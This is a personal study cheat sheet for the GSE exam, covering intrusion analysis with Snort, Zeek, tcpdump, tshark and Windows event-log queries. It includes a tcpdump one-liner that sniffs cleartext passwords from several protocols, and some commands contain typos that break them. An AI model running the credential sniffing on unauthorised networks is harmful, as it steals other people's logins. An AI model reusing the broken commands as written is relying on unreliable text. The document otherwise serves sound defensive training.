

# GSE Prep

Ian the BitThirsty Hunter

Good Hunting  
-Starbuck

Last update: 14 November 2019

---

## Contents

---

Intrusion Analysis Tools .....	3
IA: Snort Essentials.....	9
IA: Bro/Zeke Essentials.....	10
IA: TCPDump Essentials.....	11
IA: tshark Essentials .....	14
IA: WireShark Essentials.....	15
IA & ID Vulns: Scapy .....	19
Password Cracking:john .....	23
Password Cracking:cain.....	25
Enumeration .....	27
Enumeration: Nmap / MetaSploit Integration .....	30
Sniffing (While you scan) .....	31
Identifying Vulnerabilities .....	32
ID Vulns: SpiderLabs Responder .....	33
ID Vulns: rpcclient .....	34
ID Vulns: Metasploit .....	35
General Utilities .....	38
Appendix: Linux Essentials .....	39
Appendix: Windows Essentials .....	44
Appendix: Incident Response checkCriticalWindowsEventLogs.....	46
Appendix: Audit Policy .....	47
Appendix: Forensics Deep Dive.....	51

---

## Intrusion Analysis Tools

---

### Tools listed under Intrusion Analysis:

Snort, Wireshark, tshark, tcpdump, Scapy, Zeek/Bro

### Sniff While Scanning (Can be helpful)

tcpdump -nn host <ip>	:sniff a particular ip
nmap -n -sT <ip>	:shows 3 way handshake in tcpdump

### Investigating

Squert is web accessible (<https://55.64.10.202/squert/>) but not as powerful as Sguil. Snorby is also web accessible. Sguil is not web accessible so you have to rdp but is way more powerful.

#### Investigating

Additionally in Wireshark you can go to File / Export Objects/ HTTP, highlight the entry with the correct content type and Save As. From there you can submit to your Malware Analysis Server.

#### Sguil Alert Techniques

Make sure "Show Packet Data" and "Show Rule" are checked  
Right Click AlertID field, Network Miner - shows attacker details  
Right Click AlertID field, Transcript (Same as Follow TCP Stream in Wireshark)  
Right Click AlertID field, Wireshark, Right Click a packet, Follow TCP Stream

#### Analyze with Snort & OpenAppID (Service Detection beyond just looking at the port)

```
sudo snort -c /etc/snort/snort.conf -pcap-dir=/pcap-links -k none
ls -lart /var/log/snort :look for most recent appstats-unified.log
sudo u2openappid /var/log/snort/appstats-unified.log.XXXXXX | cut -f2 -d"," | sort | egrep
-vi "http"|"https"|"dns"|"internet explorer" | uniq -c | sort -nr | head -n 25
```

#### Run Bro Analysis Against Pcap

```
bro -r /pcaps/capture.pcap /opt/bro/share/bro/file-extraction/extract.bro
```

### Investigating: Files

#### MZ (EXE) Compilers Searchable Strings (unless attacker knows to take out)

"This program cannot be run in DOS mode" (most common)  
"This program must be run under Win32"  
"This program must be run under Win64"  
-sometimes malware changes exe headers, i.e. "That program must be run..."

#### Pcap Strings Search

```
ngrep -q -I /pcaps/sample.pcap "SEARCHPHRASE" :-q only headers & payload
ngrep -q -I /pcaps/sample.pcap "HTTP/1.0" :should see 1.1&2.0; 1.0 often malware
strings /pcaps/sample.pcap | grep GET :alternate search
tshark -nr /sample.pcap -Y "http.request.method==GET" :alternate search
```

#### Carving (Bro), AV Scanning, & Cross Referencing Logs

```
bro -r /pcaps/sample.pcap /opt/bro/share/bro/file-extraction/extract.bro
ls -la /nsm/bro/extracted :default types - .exe .txt .jpg .png .html
clamscan /nsm/bro/extracted/*.exe :scan all exe's with clamAV
grep 'detectedMalware' *.log :show traces of malware in other bro logs
shasum /tmp/carved.exe :get hash of malware
*insert hashes in hashQuery-TG & hashQuery-VT scripts
```

#### Carving (Wireshark, Manual)

Wireshark, right click, Follow TCP Stream  
Edit / Export / Objects :HTTP/DICOM/SMB only  
Save As / raw format  
file /tmp/carved.raw :[File Header Numbers Link](#)  
bless /tmp/carved.raw :alternative to file  
Highlight bytes before "MZ" (exe example), Edit/Delete  
File / save - save as .exe  
shasum /tmp/carved.exe :get hash of malware

\*insert hashes in [hashQuery-TG](#) & [hashQuery-VT](#) scripts

#### Detecting Pivoting Internally (Client to Client Snort Rule)

```
alert tcp $CLIENT_NET any -> $CLIENT_NET any (msg:"ET POLICY PE EXE or DLL Windows file
download"; flow: established,to_client;content:"MZ"; byte_jump:4,58,relative,little;
content:"PE|0000|"; distance:-64; within:4; classtype:policy-violation; sid:5110419;
rev:18;)
```

#### **Investigating: Connections**

##### Bro: DNS Anomolous Traffic

```
cat dns.log | bro-cut query | sort -u | sed "s/^[a-zA-Z0-9-]*\\.//g" | sort | uniq -c |
sort -n                                     :unique DNS queries from Bro
```

##### Bro: DNS NULL Traffic (Indicative of Iodine Exfil)

```
cat dns.log | bro-cut query qtype_name | grep NULL
```

##### Bro: Abnormal User Agent Query (Almost certainly bad)

\*exclude Mozilla, Opera, Microsoft-CryptAPI

```
cat http.log | bro-cut user_agent | egrep -v "Mozilla|Opera|Microsoft-CryptoAPI" | sort
| uniq -c | sort -n
```

##### Strings: Detecting shortest User Agents (Similar to Bro User Agent Query)

```
1:strings /pcaps/sample.pcap | grep -i User-Agent | sort -u :~i=case-insensitive
2:strings /pcaps/sample.pcap | grep User-Agent | sort -u | awk '{print length, $0;}' |
sort -nr
```

Analyze in Wireshark: Edit / Find Packet, choose "String" & "Packet Bytes". Enter User Agent in the search box, click Find. Analyze / Follow TCP Stream

##### X.509 Anomolous Certificates (Search for short entries)

\*First connect to Alexa top 500 Internet sites via SSL

```
mkdir /tmp/bro
```

```
cd /tmp/bro
```

```
bro -C -r /pcaps/normal/https/alexa-top-500.pcap :process pcap in bro
```

```
cat ssl.log | bro-cut issuer | sort -u > /tmp/alexa.txt :save off Top 500
```

```
bro -C -r /pcaps/sample.pcap :next process target pcap
```

```
cat ssl.log | bro-cut issuer | sort -u > /tmp/sample.txt :save off Target issuers
```

```
cat /tmp/alexa.txt | awk '{print length, $0;}' | sort -nr
```

```
cat /tmp/sample.txt | awk '{print length, $0;}' | sort -nr
```

Alternate way to view:

```
tshark -r /pcaps/sample.pcap -T fields -R "ssl.handshake.certificate" -e
x509sat.printableString
```

##### Bro: Transaction Data

```
bro -r /pcaps/sample.pcap
```

```
cat http.log | bro-cut user_agent host | sort -u | grep kuku :two key fields
```

##### Bro-Cut Connections Example

```
cat conn.log || bro-cut id.orig_h id.orig_p id.resp_h id.resp_p proto service conn_state
| grep 445 _ egrep '^10\.5\.11\.52' | grep RST | cut -f 3 | sort | uniq
:search SMB traffic from specific ip
```

##### Pcap Flow (Tshark)

```
tshark -n -r /pcaps/sample.pcap -q -z conv, tcp :-z get stats
```

##### Wireshark Statistical Data

\*Often used for *anomaly based detection*

Statistics / Protocol Hierarchy

##### Elsa

Top Services

:"- " packets not just defined by port

Top Responder Port

:look for anomalous

Top nxdomain

:non-existent domain

Files / MIME Types

:look for executables

HTTP / Top Sites Hosting Exes

HTTP / Top User Agents

:look for short User Agents/Uncommon

##### DNS Analysis Script Based on pcap

[python dnsWatch.py sample.pcap](#)

[python trackByGeo.py sample.pcap](#)

:uses MaxMind GeoIP for country stats

### Passive Asset Inventory: PRADS

---

Look in Logs for Servers (Translate TCP/UDP)

```
grep SERVER /var/log/prads-asset.log | sort -u | cut -d, -f1,3,4,6 | sed  
"s/,17,/,udp,/g" | sed "s/,6,/tcp,g" > /tmp/asset.csv  
gnnumeric /tmp/asset :excel viewer equivalent
```

### IDS Events and Rules

---

sudo sostat-quick :easiest way to pull

mysql -uroot -Dsecurityonion\_db :enter mysql shell to pull queries

```
SELECT COUNT(*) AS cnt, signature, signature_id FROM event WHERE status=0 GROUP BY signature  
ORDER BY cnt DESC LIMIT 20; :show top 20 intrusion events
```

```
SELECT COUNT(*) AS ip_cnt, INET_NTOA(src_ip) FROM event WHERE status=0 AND signature_id=2101411  
GROUP BY src_ip ORDER BY ip_cnt DESC;
```

:find the top ips for a specific event

```
SELECT COUNT(*) as ip_cnt, INET_NTOA(src_ip), INET_NTOA(dst_ip) FROM event WHERE status=0 and  
signature_id=2101411 GROUP BY dst_ip ORDER BY ip_cnt DESC;
```

:same as previous but adds dest IPs

### DNS Event Analysis (SEC511)

---

Inspecting DNS cache is good short term investigative tool. Look for long randomized host names, short host names, txt requests and responses containing large amount of data, same hostnames that aren't in Alexa top 500 being pinged regularly (beacon behavior), non-existent domains.

[Article on Network Forensics with Windows DNS Analytical Logging](#)

#### DNS IOCs

-requests to thousands or hosts or subdomains in one domain

-large DNS queries with high entropies

-large txt record responses

-high volumes of DNS resolution failures

#### DNS Analysis Scripts

[Long-DNS Query](#) :processes bind query logs, reports names > 60 bytes

[Failed-DNS-Query](#) :process bind response logs, tracks failed DNS responses - NX domains

#### Dump DNS Cache with bind command

Rndc dumpdb

#### Powershell Command to dump cache

Show-DnsServerCache

#### Enable DNS Query Logging on Windows 2008/2012

DNS Manager / Action / Properties / Debug Logging

### Signs of Meterpreter PsExec

---

7045 is an indicator of psexec, a great way to find lateral movement in a windows network - the real psexec will have a service name of PSEXESVC, meterpreter will have a high entropy name, and also SysInternals PsExec generates no errors but Metasploit's generates Event ID 7030 after.

### Windows Event Analysis (SEC511)

---

#### SEC511 Analysis

Search Alternate Data Streams for Outside exes

```
dir /R /s | find "Zone.Identifier"
```

Long Tail Analysis of Events (Look for logs with only 1 or 2 events)

```
Get-WinEvent -Path \labs\savedFile.evtx | Group-Object id -NoElement | sort count
```

Suppress Errors

```
$ErrorActionPreference='silentlycontinue'
```

Add -wrap to view full details

May have to run Set-ExecutionPolicy RemoteSigned; after set back to Restricted

```

Doing Remotely (remote systems must have Management Framework Core installed)
Enable-PSRemoting -Force
For Workgroup environments:
Set-Item wsman:\localhost\client\trustedhosts <scanning computer name>
Restart-Service WinRM

Search User Creation Logs (Remember especially look for local accounts created):
Get-WinEvent -FilterHashtable @{Path="\labs\savedFile.evtx"; ID=4720}| fl | more
Search for the command net user (used to add users)
Get-WinEvent @{Path="\labs\savedFile.evtx";id=4688 | Where-Object -Property message -
like "*net user*"}

Search User Group Add (Escalation of Privileges)
Get-WinEvent -FilterHashtable @{Path="\labs\savedFile.evtx"; ID=4732}| fl | more
Search for the command net localgroups (used for escalation of priveleges)
Get-WinEvent @{Path="\labs\savedFile.evtx";id=4688 | Where-Object -Property message -
like "*net localgroups*"}

Search For Logs Being Cleared
Get-WinEvent -FilterHashtable @{Path="\labs\savedFile.evtx"; ID=1102}| fl

Search For Signs of PSEXEC (remember 7045 followed by 7030)
Get-WinEvent -FilterHashtable @{Path="\labs\savedFile.evtx"; ID=7030,7045}| fl

Search For Signs of USB Insertion
Get-WinEvent -FilterHashtable @{Path="\labs\savedFile.evtx";
ID=7045,10000,10001,10100,20001,20002,20003,24576,24577,24579}
OR
Get-WinEvent -FilterHashtable @{Path="\labs\savedFile.evtx"}| Where {$_.Message -like
"*USB*"}

NEXT Search For Logs Correlating to that time stamp
Get-WinEvent -FilterHashtable @{Path="\labs\savedFile.evtx"}| findstr ":20:07"

Search AppLocker For Blocks (3/6 - would have been blocked; 4/7-blocked)
Get-WinEvent -FilterHashtable @{Path="\labs\savedFile.evtx"; ID=8003,8006,8004,8007}

Search EMET Blocked malware
Get-WinEvent @{LogName="application";ProviderName="EMET"; id=2}

Search For FireWall Being Disabled
Get-WinEvent -FilterHashtable @{Path="\labs\savedFile.evtx"; ID=2003}| fl

Search For Logs Being Cleared
Get-WinEvent -FilterHashtable @{Path="\labs\savedFile.evtx"; ID=1102}| fl

GET EVERYTHING ABOVE ALL AT ONCE (throw code below in check-critical events.ps1):
Get-WinEvent -FilterHashtable @{LogName="Security"; ID=4720,4722,4724,4738,4732,1102}
Get-WinEvent -FilterHashtable @{LogName="System";
ID=7030,7045,1056,7045,10000,100001,10100,20001,20003,24576,24577,24579}
Get-WinEvent -FilterHashTable @{LogName="Microsoft-Windows-Windows Firewall With
Advanced Security/Firewall"; ID=2003}

Windows Event Log Cheat Sheet
View all events in the live system Event Log:
PS C:\> Get-WinEvent -LogName system

View all events in the live security Event Log (requires administrator PowerShell):
PS C:\> Get-WinEvent -LogName security

View all events in the file example.evtx, format list (fl) output:
PS C:\> Get-WinEvent -Path example.evtx | fl

View all events in example.evtx, format GridView output:
PS C:\> Get-WinEvent -Path example.evtx | Out-GridView

Perform long tail analysis of example.evtx:
PS C:\> Get-WinEvent -Path example.evtx | Group-Object id -NoElement | sort count

```

```

Pull events 7030 and 7045 from system.evtx:
PS C:\> Get-WinEvent -FilterHashtable @{Path="system.evtx"; ID=7030,7045}

Same as above, but use the live system event log:
PS C:\> Get-WinEvent -FilterHashtable @{logname="system"; id=7030,7045}

Search for events containing the string "USB" in the file system.evtx:
PS C:\> Get-WinEvent -FilterHashtable @{Path="system.evtx"} | Where {$_.Message -like
"*USB*"}

'grep'-style search for lines of events containing the case insensitive string "USB"
in the file system.evtx:
PS C:\> Get-WinEvent -FilterHashtable @{Path="system.evtx"} | fl | findstr /i USB

Pull all errors (level=2) from application.evtx:
PS C:\> Get-WinEvent -FilterHashtable @{Path="application.evtx"; level=2}

Pull all errors (level=2) from application.evtx and count the number of lines ('wc'-
style):
PS C:\> Get-WinEvent -FilterHashtable @{Path="application.evtx"; level=2} | Measure-
Object -Line

AppLocker
Pull all AppLocker logs from the live AppLocker event log (requires AppLocker):
PS C:\> Get-WinEvent -logname "Microsoft-Windows-AppLocker/EXE and DLL"

Search for live AppLocker EXE/MSI block events: "(EXE) was prevented from running":
PS C:\> Get-WinEvent -FilterHashtable @{logname="Microsoft-Windows-Applocker/EXE and
DLL"; id=8004}

Search for live AppLocker EXE/MSI audit events: "(EXE) was allowed to run but would
have been prevented from running if the AppLocker policy were enforced":
PS C:\> Get-WinEvent -FilterHashtable @{logname="Microsoft-Windows-Applocker/EXE and
DLL"; id=8003}

EMET
Pull all EMET logs from the live Application Event log (requires EMET):
PS C:\> Get-WinEvent -FilterHashtable @{logname="application"; providername="EMET"}

Pull all EMET logs from a saved Application Event log (requires EMET):
PS C:\> Get-WinEvent -FilterHashtable @{path="application.evtx"; providername="EMET"}

Sysmon
Pull all Sysmon logs from the live Sysmon Event log (requires Sysmon and an admin
PowerShell):
PS C:\> Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational"

Pull Sysmon event ID 1 from the live Sysmon Event log
PS C:\> Get-WinEvent -FilterHashtable @{logname="Microsoft-Windows-
Sysmon/Operational"; id=1}

Windows Defender
Pull all live Windows Defender event logs
PS C:\> Get-WinEvent -FilterHashtable @{logname="Microsoft-Windows-Windows
Defender/Operational"}

Pull Windows Defender event logs 1116 and 1117 from the live event log
PS C:\> Get-WinEvent -FilterHashtable @{logname="Microsoft-Windows-Windows
Defender/Operational";id=1116,1117}

Pull Windows Defender event logs 1116 (malware detected) and 1117 (malware blocked)
from a saved evtx file
PS C:\> Get-WinEvent -FilterHashtable @{path="WindowsDefender.evtx";id=1116,1117}

```

## Registry Analysis (SEC511)

```

RegistryScript.ps1
$user="user"
$password="password"

$array = @("ip,ip,ip")

```

```

foreach ($ip in $array) {
    net use \\$ip $password /u:$user | out-null
    $ip
    reg query \\$ip\HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
    reg query \\$ip\HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
    reg query \\$ip\HKU\DEFAULT\Software\Microsoft\Windows\CurrentVersion\Run
    reg query \\$ip\HKLM\SOFTWARE\Wow6432node\Microsoft\Windows\CurrentVersion\Run 2>
    $null
    reg query \\$ip\HKLM\SOFTWARE\Wow6432node\Microsoft\Windows\CurrentVersion\RunOnce
2> $null
    net use \\$ip del
}

```

#### Analysis of RegistryScript.ps1

Look for signs of entropy in the service names

#### Trimmed up script (.ps1)

```

# Ignore these keys
$whitelist="iTunesHelper","SunJavaUpdateSched","Adobe ARM","QuickTime Task"
# Initialize the $count HashTable (associative array)
$count=@{}
# Read file, find lines with 0REG_SZ
$keynames=Get-Content \labs\reg.txt|select-string "REG_SZ"
# Iterate through $keynames one key at a time
foreach ( $key in $keynames ) {
    # Remove 0 REG_SZ to the end of the line.
    # Same as this regex: s/ REG_SZ.*//g
    $key=$key -replace " *REG_SZ.*", ""
    # Remove extra spaces
    $key=$key.trim()
    # If it's not whitelisted
    if (-not ($whitelist -contains $key)){
        # Increment count for that key by 1
        $count[$key]++
    }
}
# print each key and its count, sorted from highest to lowest
$count.GetEnumerator() | sort value -Descending

```



---

## IA: Snort Essentials

---

### IDS Events and Rules (Security Onion)

---

```
sudo sostat-quick :easiest way to pull
mysql -uroot -Dsecurityonion_db :enter mysql shell to pull queries
```

Show top 20 intrusion events

```
SELECT COUNT(*) AS cnt, signature, signature_id FROM event WHERE status=0 GROUP BY signature
ORDER BY cnt DESC LIMIT 20;
```

Find the top ips for a specific event

```
SELECT COUNT(*) AS ip_cnt, INET_NTOA(src_ip) FROM event WHERE status=0 AND signature_id=2101411
GROUP BY src_ip ORDER BY ip_cnt DESC;
```

Same as previous but adds dest IPs

```
SELECT COUNT(*) as ip_cnt, INET_NTOA(src_ip), INET_NTOA(dst_ip) FROM event WHERE status=0 and
signature_id=2101411 GROUP BY dst_ip ORDER BY ip_cnt DESC;
```

### Snort Setup

---

```
/bin: location for exes/libraries
/rules: location of files that contain IDS rules; any file w/.rules extension
/etc: location of config files, including snort.conf (primary config)
/doc: readme files and Snort manual
```

snort.conf

```
include $RULE_PATH/file.rules           :include a rules file
#include $RULE_PATH/file.rules           :exclude a rules file
```

### Snort quick syntax

---

```
-C: print payload with chars only - not hex
-i: specify network int; based on # entries found with snort -W
-l: Directory where log/alert files will be stored
-L: Log/alert filename
-v: verbose output
-P: Set snap length of packet to capture (default 1514 bytes)
-c: Use specific rules/config file
-r: read in a capture file
```

### Snort rule syntax

---

General syntax:

```
action proto src_ip src_port -> dst_ip dst_port (msg; payload_detect_pattern; modifier; sid;
rev:1;)
```

Example

```
alert ip any any -> any any (msg:"Bomb threat";content:"bomb"; nocase; sid:9999; rev:1;)
```

*Payload Detection ASCII text criteria:*

Content:"<insert text here>";

*Payload Detection Hex criteria:*

Content:"|<insert hex digits here>|";

*Example:*

content:"bomb"

*Example:*

content:"|DE AD BE EF|";

### Pcap Analysis with Snort

---

```
snort -r file.pcap           :run against a single pcap
snort --pcap-filter=*cap --pcap-dir=/home/pcaps:run against multiple pcaps in a fldr
```

Then review alerts from snort/log alert file with pcap of alert traffic.

---

## 1A: Bro/Zeke Essentials

---

### Basic Bro/Zeke Analysis Against Pcap

```
bro -r /pcaps/capture.pcap /opt/bro/share/bro/file-extraction/extract.bro
```

### Investigating: Files

#### Carving (Bro), AV Scanning, & Cross Referencing Logs

```
bro -r /pcaps/sample.pcap /opt/bro/share/bro/file-extraction/extract.bro
ls -la /nsm/bro/extracted                      :default types - .exe .txt .jpg .png .html
clamscan /nsm/bro/extracted/*.exe              :scan all exe's with clamAV
grep 'detectedMalware' *.log                   :show traces of malware in other bro logs
shasum /tmp/carved.exe                         :get hash of malware
*insert hashes in hashQuery-TG & hashQuery-VT scripts
```

### Investigating: Connections

#### Bro: DNS Anomolous Traffic

```
cat dns.log | bro-cut query | sort -u | sed "s/^[a-zA-Z0-9-]*\\.//g" | sort | uniq -c |
sort -n                                         :unique DNS queries from Bro
```

#### Bro: DNS NULL Traffic (Indicative of Iodine Exfil)

```
cat dns.log | bro-cut query qtype_name | grep NULL
```

#### Bro: Abnormal User Agent Query (Almost certainly bad)

```
*exclude Mozilla, Opera, Microsoft-CryptoAPI
cat http.log | bro-cut user_agent | egrep -v "Mozilla|Opera|Microsoft-CryptoAPI" | sort
| uniq -c | sort -n
```

#### Strings: Detecting shortest User Agents (Similar to Bro User Agent Query)

```
1:strings /pcaps/sample.pcap | grep -i User-Agent | sort -u           :-i=case-insensitive
2:strings /pcaps/sample.pcap | grep User-Agent | sort -u | awk '{print length, $0;}' |
sort -nr
```

Analyze in Wireshark: Edit / Find Packet, choose "String" & "Packet Bytes". Enter User Agent in the search box, click Find. Analyze / Follow TCP Stream

#### X.509 Anomolous Certificates (Search for short entries)

```
*First connect to Alexa top 500 Internet sites via SSL
mkdir /tmp/bro
cd /tmp/bro
bro -C -r /pcaps/normal/https/alexa-top-500.pcap :process pcap in bro
cat ssl.log | bro-cut issuer | sort -u > /tmp/alexa.txt :save off Top 500
bro -C -r /pcaps/sample.pcap :next process target pcap
cat ssl.log | bro-cut issuer | sort -u > /tmp/sample.txt :save off Target issuers
cat /tmp/alexa.txt | awk '{print length, $0;}' | sort -nr
cat /tmp/sample.txt | awk '{print length, $0;}' | sort -nr
```

#### Alternate way to view:

```
tshark -r /pcaps/sample.pcap -T fields -R "ssl.handshake.certificate" -e
x509sat.printableString
```

#### Bro: Transaction Data

```
bro -r /pcaps/sample.pcap
cat http.log | bro-cut user_agent host | sort -u | grep kuku           :two key fields
```

#### Bro-Cut Connections Example

```
cat conn.log | bro-cut id.orig_h id.orig_p id.resp_h id.resp_p proto service conn_state
| grep 445 _ egrep '^10\\.5\\.11\\.52' | grep RST | cut -f 3 | sort | uniq
:search SMB traffic from specific ip
```

---

## 1A: TCPDump Essentials

---

### Sniffing Packets

To sniff using

### Most Important Options

-w store both connection info and actual data into a file  
-s tells tcpdump how much of packet should be captured  
-C in conjunction w/-w to save captures as multiple sequential captures

### Command Line Options

-A Print frame payload in ASCII -c <count> Exit after capturing count packets  
-D List available interfaces -e Print link-level headers  
-F <file> Use file as the filter expression  
-G <n> Rotate the dump file every n seconds  
-i <iface> Specifies the capture interface -K Don't verify TCP checksums  
-L List data link types for the interface -n Don't convert addresses to names  
-p Don't capture in promiscuous mode -q Quick output  
-r <file> Read packets from file -s <len> Capture up to len bytes per packet  
-S Print absolute TCP sequence numbers -t Don't print timestamps  
-tttt print date as 1<sup>st</sup> field of packet before time  
-v[v[v]] Print more verbose output -w <file> Write captured packets to file  
-x Print frame payload in hex -X Print frame payload in hex and ASCII  
-y <type> Specify the data link type -Z <user> Drop privileges from root to user

### Capture Filter Primitives

[src|dst] host <host> Matches a host as the IP source, destination, or either  
ether [src|dst] host <ehost> Matches a host as the Ethernet source, destination, or either  
gateway host <host> Matches packets which used host as a gateway  
[src|dst] net <network>/<len> Matches packets to or from an endpoint residing in network  
[tcp|udp] [src|dst] port <port> Matches TCP or UDP packets sent to/from port  
[tcp|udp] [src|dst] portrange <p1>-<p2> Matches TCP or UDP packets to/from a port in the given range  
less <length> Matches packets less than or equal to length  
greater <length> Matches packets greater than or equal to length  
(ether|ip|ip6) proto <protocol> Matches an Ethernet, IPv4, or IPv6 protocol  
(ether|ip) broadcast Matches Ethernet or IPv4 broadcasts  
(ether|ip|ip6) multicast Matches Ethernet, IPv4, or IPv6 multicasts  
type (mgt|ctl|data) [subtype <subtype>] Matches 802.11 frames based on type and optional subtype  
vlan [<vlan>] Matches 802.1Q frames, optionally with a VLAN ID of vlan  
mpls [<label>] Matches MPLS packets, optionally with a label of label  
<expr> <relop> <expr> Matches packets by an arbitrary expression

### Protocols

Arp	ether	fddi	icmp	ip	ip6
Link	ppp	radio	rarp	slip	tcp
Tr	udp	wlan			

### TCP Flags

tcp-urg	tcp-rst	tcp-ack	tcp-syn	tcp-psh	tcp-fin
---------	---------	---------	---------	---------	---------

### Modifiers

! or not	&& or and	or or
----------	-----------	-------

### Examples

! udp dst port not 53	:UDP not bound for port 53
host 10.0.0.1 && host 10.0.0.2	:Traffic between these hosts
tcp dst port 80 or 8080	:Packets to either TCP port

### ICMP Types

---

```

icmp-echoreply icmp-routeradvert icmp-tstampreply
icmp-unreach icmp-routersolicit icmp-ireq
icmp-sourcequench icmp-timxceed icmp-ireqreply
icmp-redirect icmp-paramprob icmp-maskreq
icmp-echo icmp-tstamp icmp-maskreply

```

### Sniff While Scanning (Can be helpful)

```

tcpdump -nn host <ip> :sniff a particular ip
nmap -n -sT <ip> :shows 3 way handshake in tcpdump

```

Look for cleartext passwords while you sniff:

```

tcpdump port http or port ftp or port smtp or port imap or port pop3 or port telnet -lA
| egrep -i -B5 'pass=|pwd=|log=|login=|user=|username=|pw=|passw=|passwd=
|password=|pass:|user:|username:|password:|login:|pass |user '

```

### Investigating: Files

MZ (EXE) Compilers Searchable Strings (unless attacker knows to take out)  
 “This program cannot be run in DOS mode” (most common)  
 “This program must be run under Win32”  
 “This program must be run under Win64”  
 -sometimes malware changes exe headers, i.e. “That program must be run...”

#### Pcap Strings Search

```

ngrep -q -I /pcaps/sample.pcap "SEARCHPHRASE" :-q only headers & payload
ngrep -q -I /pcaps/sample.pcap "HTTP/1.0" :should see 1.1&2.0; 1.0 often malware
strings /pcaps/sample.pcap | grep GET :alternate search
tshark -nr /sample.pcap -Y "http.request.method==GET" :alternate search

```

### Traffic Analysis

#### Pcap Flow (Tshark)

```
tshark -n -r /pcaps/sample.pcap -q -z conv, tcp :-z get stats
```

#### Find HTTP User Agents

```

tcpdump -r file.pcap | grep 'User-Agent:'
tcpdump -vvAls0 | grep 'User-Agent:'

```

#### Cleartext GET Requests

```

tcpdump -r file.pcap | grep 'GET'
tcpdump -vvAls0 | grep 'GET'

```

#### Find HTTP Host Headers

```

tcpdump -r file.pcap | grep 'Host:'
tcpdump -vvAls0 | grep 'Host:'

```

#### Find HTTP Cookies

```

tcpdump -r file.pcap | grep 'Set-Cookie|Host:|Cookie:'
tcpdump -vvAls0 | grep 'Set-Cookie|Host:|Cookie:'

```

#### Find SSH Connections

\*This one works regardless of what port the connection comes in on, because it's getting the banner response.

```

tcpdump -r file.pcap 'tcp[(tcp[12]>>2):4] = 0x5353482D'
tcpdump 'tcp[(tcp[12]>>2):4] = 0x5353482D'

```

#### Find DNS Traffic

```

tcpdump -r file.pcap port 53
tcpdump -vvAs0 port 53

```

#### Find FTP Traffic

```

tcpdump -r file.pcap port ftp or ftp-data
tcpdump -vvAs0 port ftp or ftp-data

```

#### Find Traffic with Evil Bit

```
tcpdump 'ip[6] & 128 != 0'
```

## Common Investigation Queries

### Computer Information

```
tcpdump -r file.pcap -e :find MAC Address
tcpdump -r file.pcap -e host <ip> :find MAC for specific IP
tcpdump -r file.pcap 'port 137 || 138 || 139 || 445' :host name using Netbios & SMB
tcpdump -r file.pcap -v -n port 67 or 68 :find host name using DHCP (option 12)
tcpdump -r file.pcap -vvvA port 88 host <ip> | grep 'ldap' :find host name using Kerberos (option 12)
```

### Windows User Account Name

```
tcpdump -r file.pcap -vvvA port 88 host <ip> | grep '..0.....0...' :Kerberos packets for host
```

### Device Model & OS From HTTP Traffic

```
1. To monitor HTTP traffic including request and response headers and message body:
tcpdump -r file.pcap -A -tttt 'tcp port http and ((ip[2:2] - ((ip[0]&0xf)<<2)) - ((tcp[12]&0xf0)>>2)) != 0)'
2. To monitor HTTP traffic including request and response headers and message body from a particular source:
tcpdump -r file.pcap -A -tttt 'src example.com and tcp port 80 and ((ip[2:2] - ((ip[0]&0xf)<<2)) - ((tcp[12]&0xf0)>>2)) != 0)'
3. To only include HTTP requests, modify "tcp port http" to "tcp dst port http" in above commands:
tcpdump -r file.pcap -tttt 'tcp dst port http'
tcpdump -r file.pcap -A -tttt "tcp dst port http"
```

### Find Possible Scans:

```
tcpdump -nr traffic.pcap 'tcp[tcpflags]=2' | awk '{print $3}' | cut -d. -f1,2,3,4 | sort | uniq -c | sort -nr
```

### Look at HTTP(S) Traffic for a Single Device

```
tcpdump -r file.pcap -tttt 'tcp port https' or 'tcp port http' and 'host <infected ip>'
tcpdump -n -r file.pcap -tttt 'tcp port https and (tcp[((tcp[12] & 0xf0) >> 2)] = 0x16)' :just SSL handshake
```

### IOCs

#### Look for ips & ports from alerts

```
sudo sostat-quick :easiest way to pull
mysql -uroot -Dsecurityonion_db :enter mysql shell to pull queries
Show top 20 intrusion events
SELECT COUNT(*) AS cnt, signature, signature_id FROM event WHERE status=0 GROUP BY signature ORDER BY cnt DESC LIMIT 20;
```

#### Look for Downloaded Files using tcpdump

```
tcpdump -r file.pcap -vvA | grep 'This program'
```

#### Look for Downloaded Files using ngrep

```
ngrep -I exercise.pcap -qt 'This program'
```

#### Look for downloaded files using bro/zeke

```
bro -r /pcaps/sample.pcap /opt/bro/share/bro/file-extraction/extract.bro
ls -la /nsm/bro/extracted :default types - .exe .txt .jpg .png .html
```

#### Look for downloaded files using tshark

```
tshark -r mypcap.pcap --export-objects "http,destdir"
```

#### Look for ips not in alerts

```
tcpdump -r file.pcap 'tcp port https' or 'tcp port http' and 'host <infected ip>'
```

### Find FTP Traffic

```
tcpdump -r file.pcap -tttt port ftp or ftp-data
tcpdump -r file.pcap -vvAs0 -tttt port ftp or ftp-data
```

### Pulling a sha-256 for infected files:

```
Powershell: Get-FileHash .\<file> -Algorithm SHA256
Linux info: file malware.exe
Linux: shasum -a 256 malware.exe
```

---

## 1A: tshark Essentials

---

### **Traffic Analysis**

#### Pcap Flow (Tshark)

```
tshark -n -r /pcaps/sample.pcap -q -z conv, tcp :-z get stats
```

Build summary of IP protocols and HTTP request method seen in pcap

```
$ tshark -r file.pcap -T fields -e ip.proto | sort | uniq -c | sort > summary.txt
```

```
$ tshark -r file.pcap -z conv,tcp | sed '1,/=====/' >> summary.txt
```

```
$ tshark -r file.pcap -z conv,udp | sed '1,/=====/' >> summary.txt
```

```
$ tshark -r file.pcap -T fields -e http.request.method -R
```

```
"http.request.method" | sort | uniq -c | sort >> summary.txt
```

```
$ tshark -T fields -e ip.dst -e tcp.dstport -e udp.dstport -Y "ip.src==192.168.137.91" -r file.pcap | sort | uniq -c >> summary.txt
```

#### HTTP Traffic Analysis

\*Look for ips connected, look for referrer traffic if any

```
tshark -T fields -e frame.time -e ip.proto -e ip.src -e tcp.srcport -e ip.dst -e tcp.dstport
```

```
-e tcp.flags -e http.referer -e http.host -e http.request.uri -e http.request.method -e
```

```
http.content_type -e http.content_length -e http.content_encoding -e http.user_agent
```

```
-e ssl.handshake.extensions_server_name -e udp.dstport -e dns.qry.name -E
```

```
separator="," -E header=y -r file.pcap >
```

```
drindex_2016_05_12.csv
```

#### Pcap Strings Search

```
tshark -nr /sample.pcap -Y "http.request.method==GET" :alternate search
```

## IA: WireShark Essentials

Ethernet		ARP	
eth.addr	eth.len	arp.dst.hw_mac	arp.proto.size
